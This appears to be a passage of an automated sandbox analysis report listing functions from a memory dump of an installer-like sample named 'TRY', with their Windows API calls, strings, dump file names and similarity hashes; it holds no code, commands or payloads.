Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB64A70 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 000000013FB64B04
LocalAlloc.KERNEL32 ref: 000000013FB64BF0
LocalAlloc.KERNEL32 ref: 000000013FB64C22
MessageBoxA.USER32 ref: 000000013FB64B3E

Part of subcall function 000000013FB67614: EnumResourceLanguagesA.KERNEL32 ref: 000000013FB6766C
Part of subcall function 000000013FB67614: EnumResourceLanguagesA.KERNEL32 ref: 000000013FB676A4

LocalAlloc.KERNEL32 ref: 000000013FB64B94
MessageBeep.USER32 ref: 000000013FB64C45
MessageBoxA.USER32 ref: 000000013FB64C84
LocalFree.KERNEL32 ref: 000000013FB64C8F

Part of subcall function 000000013FB676D8: GetVersionExA.KERNEL32 ref: 000000013FB6772D
Part of subcall function 000000013FB676D8: GetSystemMetrics.USER32 ref: 000000013FB67761
Part of subcall function 000000013FB676D8: RegOpenKeyExA.ADVAPI32 ref: 000000013FB67790
Part of subcall function 000000013FB676D8: RegQueryValueExA.ADVAPI32 ref: 000000013FB677C5
Part of subcall function 000000013FB676D8: RegCloseKey.ADVAPI32 ref: 000000013FB677D2
Part of subcall function 000000013FB676D8: CharNextA.USER32 ref: 000000013FB6781B

Strings

tha, xrefs: 000000013FB64B2F, 000000013FB64C70
rce., xrefs: 000000013FB64A9B

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Local$AllocMessage$EnumLanguagesResource$BeepCharCloseFreeLoadMetricsNextOpenQueryStringSystemValueVersion
String ID: rce.$tha
API String ID: 2929476258-4244134132
Opcode ID: 8031d0f5c260d1828ae3b026181698a0ded8a6d20b8c433cb7d87d6f329fc285
Instruction ID: 1f5426d682e87fe3b3cac81c8b5ea8df8b2a283d9281fd370440f9a7b27e1c93
Opcode Fuzzy Hash: 8031d0f5c260d1828ae3b026181698a0ded8a6d20b8c433cb7d87d6f329fc285
Instruction Fuzzy Hash: 9351AFB2E15B8486FB519B25E8047E9E790A758BB4F041239DE5917BDDEE38CB83C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB62448 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32 ref: 000000013FB6248E
CharNextA.USER32 ref: 000000013FB6249A
CharNextA.USER32 ref: 000000013FB624A3
RegOpenKeyExA.ADVAPI32 ref: 000000013FB6253E
RegQueryValueExA.ADVAPI32 ref: 000000013FB6256F
ExpandEnvironmentStringsA.KERNEL32 ref: 000000013FB62590
RegCloseKey.ADVAPI32 ref: 000000013FB625C1
GetWindowsDirectoryA.KERNEL32 ref: 000000013FB625D1
GetSystemDirectoryA.KERNEL32 ref: 000000013FB625E1

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 000000013FB624C0

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 8b8c07e85b9783fddf8189e616ff50c24e5f390df1e20b01a64ea08d369b5e4a
Instruction ID: 25d6a73587cf75c8eaf8a6bc9fc7ea353b7834243b3c3a8c13b8c2e66b3e31a4
Opcode Fuzzy Hash: 8b8c07e85b9783fddf8189e616ff50c24e5f390df1e20b01a64ea08d369b5e4a
Instruction Fuzzy Hash: 724171B271468086FF209F15E8643DAE7A1F785BA4F545039EA8A07B9CDF3CC646CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB63D0C Relevance: 13.6, APIs: 6, Strings: 3, Instructions: 70memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64CE8
Part of subcall function 000000013FB64CC0: SizeofResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64CF3
Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64D13
Part of subcall function 000000013FB64CC0: LoadResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D1E
Part of subcall function 000000013FB64CC0: LockResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D27
Part of subcall function 000000013FB64CC0: memcpy_s.MSVCRT ref: 000000013FB64D40
Part of subcall function 000000013FB64CC0: FreeResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D49

LocalAlloc.KERNEL32(?,?,?,?,?,000000013FB62E75), ref: 000000013FB63D2D
GetLastError.KERNEL32 ref: 000000013FB63D5D
LocalFree.KERNEL32 ref: 000000013FB63DB9

Part of subcall function 000000013FB64A70: LoadStringA.USER32 ref: 000000013FB64B04
Part of subcall function 000000013FB64A70: MessageBoxA.USER32 ref: 000000013FB64B3E

lstrcmpA.KERNEL32(?,?,?,?,?,000000013FB62E75), ref: 000000013FB63DD9
LocalFree.KERNEL32(?,?,?,?,?,000000013FB62E75), ref: 000000013FB63E2E

Part of subcall function 000000013FB67304: FindResourceA.KERNEL32 ref: 000000013FB6732E
Part of subcall function 000000013FB67304: LoadResource.KERNEL32 ref: 000000013FB6733F
Part of subcall function 000000013FB67304: DialogBoxIndirectParamA.USER32 ref: 000000013FB6736F
Part of subcall function 000000013FB67304: FreeResource.KERNEL32 ref: 000000013FB6737B

LocalFree.KERNEL32 ref: 000000013FB63E0D

Strings

p}', xrefs: 000000013FB63DB2, 000000013FB63DCB, 000000013FB63E03, 000000013FB63E27
LICENSE, xrefs: 000000013FB63D15, 000000013FB63D81
<None>, xrefs: 000000013FB63DD2

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE$p}'
API String ID: 2414642746-2429390302
Opcode ID: 5a4247ff5b5a3f3e33d9449045396edb7047108b95579c67965ad8371a5c0a11
Instruction ID: 590051502711443b60b0728a337d3b2265ad5a9192b85080fb5eb6f1b8b49d28
Opcode Fuzzy Hash: 5a4247ff5b5a3f3e33d9449045396edb7047108b95579c67965ad8371a5c0a11
Instruction Fuzzy Hash: 48314FF2E1560183F7209F61E8657E6F2A0F7887A8F14413DD94A46AA8DF7DC607CB14

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB676D8 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 000000013FB6772D
GetSystemMetrics.USER32 ref: 000000013FB67761
RegOpenKeyExA.ADVAPI32 ref: 000000013FB67790
RegQueryValueExA.ADVAPI32 ref: 000000013FB677C5
RegCloseKey.ADVAPI32 ref: 000000013FB677D2
CharNextA.USER32 ref: 000000013FB6781B

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 000000013FB67782

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 0ef2e49ea2d523cb0d96e1510a882bc26b5037e292a8015958692e0b2fe72ee1
Instruction ID: f3923563ba619a298b1835c5e17ba6ad09ca1e54ea0871fcefe0e1fc393d27ee
Opcode Fuzzy Hash: 0ef2e49ea2d523cb0d96e1510a882bc26b5037e292a8015958692e0b2fe72ee1
Instruction Fuzzy Hash: D64181B3F01A9087EB508B25E8807D9F7A5F384B64F65513ADA590379CDF78CA46CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB611C0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000000013FB611FD
GetProcAddress.KERNEL32 ref: 000000013FB61219
AllocateAndInitializeSid.ADVAPI32 ref: 000000013FB61260
FreeSid.ADVAPI32 ref: 000000013FB61282
FreeLibrary.KERNEL32 ref: 000000013FB6128B

Strings

advapi32.dll, xrefs: 000000013FB611F0
CheckTokenMembership, xrefs: 000000013FB6120F

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 64d96d54a73524583d87b63dfc7e8286ae492dfacb74392b1afb45792a249c94
Instruction ID: 9803ef39b5589e243e8558e1da356cad093dbfa9df7af7d4935c55b89ebb2863
Opcode Fuzzy Hash: 64d96d54a73524583d87b63dfc7e8286ae492dfacb74392b1afb45792a249c94
Instruction Fuzzy Hash: DE210CB6A04B4496EB50DF16F45439AF7A0F788BA4F54452DEE8D43B18DF38D646CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB62628 Relevance: 12.1, APIs: 8, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 000000013FB6280E

Part of subcall function 000000013FB62448: CharUpperA.USER32 ref: 000000013FB6248E
Part of subcall function 000000013FB62448: CharNextA.USER32 ref: 000000013FB6249A
Part of subcall function 000000013FB62448: CharNextA.USER32 ref: 000000013FB624A3
Part of subcall function 000000013FB62448: RegOpenKeyExA.ADVAPI32 ref: 000000013FB6253E
Part of subcall function 000000013FB62448: RegQueryValueExA.ADVAPI32 ref: 000000013FB6256F
Part of subcall function 000000013FB62448: ExpandEnvironmentStringsA.KERNEL32 ref: 000000013FB62590
Part of subcall function 000000013FB62448: RegCloseKey.ADVAPI32 ref: 000000013FB625C1

GetFileVersionInfoSizeA.VERSION ref: 000000013FB626A0
GlobalAlloc.KERNEL32 ref: 000000013FB626B7
GlobalLock.KERNEL32 ref: 000000013FB626CC
GetFileVersionInfoA.VERSION ref: 000000013FB626EE
VerQueryValueA.VERSION ref: 000000013FB6270E
GlobalUnlock.KERNEL32 ref: 000000013FB627B2
GlobalUnlock.KERNEL32 ref: 000000013FB627C0

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Global$Char$FileInfoNextQueryUnlockValueVersion$AllocCloseEnvironmentExpandFreeLockOpenSizeStringsUpper
String ID:
API String ID: 1051330783-0
Opcode ID: f78638de83485bf910632d144a3a72b8691c3b3d70d5a8fe4b5d167855251055
Instruction ID: 01653a496246ad048296650fd1df0909ebe08bc76bf93aab71f6e7e8d3949018
Opcode Fuzzy Hash: f78638de83485bf910632d144a3a72b8691c3b3d70d5a8fe4b5d167855251055
Instruction Fuzzy Hash: 63517CB2B006918AFF108F25D900BE8B7A5F745BA8F144139DE4963798EB3CDE92C741

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB62830 Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 000000013FB62876
IsDBCSLeadByte.KERNEL32 ref: 000000013FB6288C
CharNextA.USER32 ref: 000000013FB628AC
CharUpperA.USER32 ref: 000000013FB628B9
CharPrevA.USER32 ref: 000000013FB628EB
CharUpperA.USER32 ref: 000000013FB62941
CharNextA.USER32 ref: 000000013FB62995
CharNextA.USER32 ref: 000000013FB629A1

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Char$Next$Upper$ByteFileLeadModuleNamePrev
String ID:
API String ID: 975904313-0
Opcode ID: e1d04261d858ece4703b4c937cc3562b4ed0abf51833e14a07d3450d64b04fd3
Instruction ID: 76b8291a4a66a1dca149f88a563387e6a971d5826c42cb5f95664b49be8604cb
Opcode Fuzzy Hash: e1d04261d858ece4703b4c937cc3562b4ed0abf51833e14a07d3450d64b04fd3
Instruction Fuzzy Hash: 6D418EF1E096C441FF629B25E8243E9EB91A799BB4F484139CADA077CDCA2CC647C711

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB64938 Relevance: 10.6, APIs: 7, Instructions: 93COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 000000013FB6496B
GetWindowRect.USER32 ref: 000000013FB64986
GetDC.USER32 ref: 000000013FB6499D
GetDeviceCaps.GDI32 ref: 000000013FB649AE
GetDeviceCaps.GDI32 ref: 000000013FB649BF
ReleaseDC.USER32 ref: 000000013FB649D2
SetWindowPos.USER32 ref: 000000013FB64A3E

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 82eea2d133a119930696c2a32b8ef5d8a93a9560684ae113d9f716f9eb066404
Instruction ID: eca72bf7be73d55a2bf6a4e33a3dc26ce2d02481b586d5b03fab092f99b7f149
Opcode Fuzzy Hash: 82eea2d133a119930696c2a32b8ef5d8a93a9560684ae113d9f716f9eb066404
Instruction Fuzzy Hash: 60317076B205108AF710CBB6E944BDDBB71B348BA9F585139DE0563B4CCA39D646CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB66FB0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 000000013FB61144: _vsnprintf.MSVCRT ref: 000000013FB61181

LoadResource.KERNEL32 ref: 000000013FB66FE7
LockResource.KERNEL32 ref: 000000013FB66FF0
FreeResource.KERNEL32 ref: 000000013FB6702C
FindResourceA.KERNEL32 ref: 000000013FB6705A
FreeResource.KERNEL32 ref: 000000013FB6706D

Strings

UPDFILE%lu, xrefs: 000000013FB67037

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 47e30c68af17bc8e8918541752d0bccbb5525b077b522209f1120021165a2946
Instruction ID: 4ec297a5b0a9a4c1dab8234b13ad713bb0d44b0795bb382370847ef9b83cce76
Opcode Fuzzy Hash: 47e30c68af17bc8e8918541752d0bccbb5525b077b522209f1120021165a2946
Instruction Fuzzy Hash: 10215EB2A04B4083FB509B25E8107DAF7A1EB94FB0F65423A9A69477D9DF3CC646C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB64CC0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 000000013FB64CE8
SizeofResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64CF3
FindResourceA.KERNEL32 ref: 000000013FB64D13
LoadResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D1E
LockResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D27
memcpy_s.MSVCRT ref: 000000013FB64D40
FreeResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D49

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID:
API String ID: 3370778649-0
Opcode ID: e75314f0317059066ea3fc699c563cfa39b45419fc3ce52d9c4f3efc5764e6ed
Instruction ID: 8d8852f7ca2a521f7deb86b3307507edd47b782c76e4f9ad10efef2e488d82a1
Opcode Fuzzy Hash: e75314f0317059066ea3fc699c563cfa39b45419fc3ce52d9c4f3efc5764e6ed
Instruction Fuzzy Hash: 9A1144B1F05B5082FB186B62E94479EF691A749FE0F04543CDD0A87B9CDE3CCA468700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB620C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 000000013FB620ED
WritePrivateProfileStringA.KERNEL32 ref: 000000013FB62116
_lopen.KERNEL32 ref: 000000013FB62124
_llseek.KERNEL32 ref: 000000013FB62139
_lclose.KERNEL32 ref: 000000013FB62143

Strings

wininit.ini, xrefs: 000000013FB620F7

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 5199a9086dfdbd995451bbaa83a16fce677e21d30420cf1ce0e7fa2ad61c3104
Instruction ID: 9fc5f62eea4a4646749e06c439db6e3cae9baed92c4b5f7c2cbc05b261f244eb
Opcode Fuzzy Hash: 5199a9086dfdbd995451bbaa83a16fce677e21d30420cf1ce0e7fa2ad61c3104
Instruction Fuzzy Hash: 1F111272B1464093FB249B35E8553DAF3A1F7CC764F5441399A5E876ACDE3CC64ACA00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB63680 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 000000013FB636C3
SetWindowTextA.USER32 ref: 000000013FB636DE
SetDlgItemTextA.USER32 ref: 000000013FB636F3
SetForegroundWindow.USER32 ref: 000000013FB636FC
EndDialog.USER32 ref: 000000013FB63709

Strings

tha, xrefs: 000000013FB636D4

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Window$Text$DesktopDialogForegroundItem
String ID: tha
API String ID: 761066910-992520703
Opcode ID: 7b0a0afc9afeab9cd489da0c529037e52088d876d79330b77116ab0ab807e242
Instruction ID: 809d8833c0ef9069e1f881c3a3c96fbfa3c9e9ae988f036505bd463582910d66
Opcode Fuzzy Hash: 7b0a0afc9afeab9cd489da0c529037e52088d876d79330b77116ab0ab807e242
Instruction Fuzzy Hash: E701FBF4E1474086FA695B65E8087F8D691A789BB1F585039C806163ECDF6C8787C621

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB6466C Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64CE8
Part of subcall function 000000013FB64CC0: SizeofResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64CF3
Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64D13
Part of subcall function 000000013FB64CC0: LoadResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D1E
Part of subcall function 000000013FB64CC0: LockResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D27
Part of subcall function 000000013FB64CC0: memcpy_s.MSVCRT ref: 000000013FB64D40
Part of subcall function 000000013FB64CC0: FreeResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D49

LocalAlloc.KERNEL32(?,?,?,?,00000000,000000013FB630B1), ref: 000000013FB64695
LocalFree.KERNEL32(?,?,?,?,00000000,000000013FB630B1), ref: 000000013FB64725

Part of subcall function 000000013FB64A70: LoadStringA.USER32 ref: 000000013FB64B04
Part of subcall function 000000013FB64A70: MessageBoxA.USER32 ref: 000000013FB64B3E

Strings

@, xrefs: 000000013FB6470B
FINISHMSG, xrefs: 000000013FB64679, 000000013FB646C6
<None>, xrefs: 000000013FB646EF

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$@$FINISHMSG
API String ID: 3507850446-4126004490
Opcode ID: b487ec9568ec1de5c4182c7751c6796abb55c886bfc8e6d40acc34d304059198
Instruction ID: e77032c977a8f85ee0b74d5f6c9782e6d87d22fed50bd3e71df28ccf7aa689dd
Opcode Fuzzy Hash: b487ec9568ec1de5c4182c7751c6796abb55c886bfc8e6d40acc34d304059198
Instruction Fuzzy Hash: 5711BCF6A14B40C3FB209B21F461BEBE291E7857A8F14513D9A4A46B9CDB3DC6468B04

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB6723C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 000000013FB672B4
LoadLibraryExA.KERNEL32 ref: 000000013FB672CE
LoadLibraryA.KERNEL32 ref: 000000013FB672DD

Strings

advpack.dll, xrefs: 000000013FB67297, 000000013FB672D6
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB6725A

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-2651688815
Opcode ID: c2ef53279d37d8f959e672e600895df1c9bb0d2f273fc07fa29ab4de3b678f32
Instruction ID: 1e979bb31ee609cbbc7059197a968ee27e5a55d6aa88d3eec289f2d3ecd12f71
Opcode Fuzzy Hash: c2ef53279d37d8f959e672e600895df1c9bb0d2f273fc07fa29ab4de3b678f32
Instruction Fuzzy Hash: B81142B1A1568596FF619F10E4503D9F3A0F795768F94023AD69D026E9DF2CC70BC700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB61490 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 000000013FB614D5
GetDesktopWindow.USER32 ref: 000000013FB614E1
LoadStringA.USER32 ref: 000000013FB6150B
SetDlgItemTextA.USER32 ref: 000000013FB6151E
MessageBeep.USER32 ref: 000000013FB61527

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
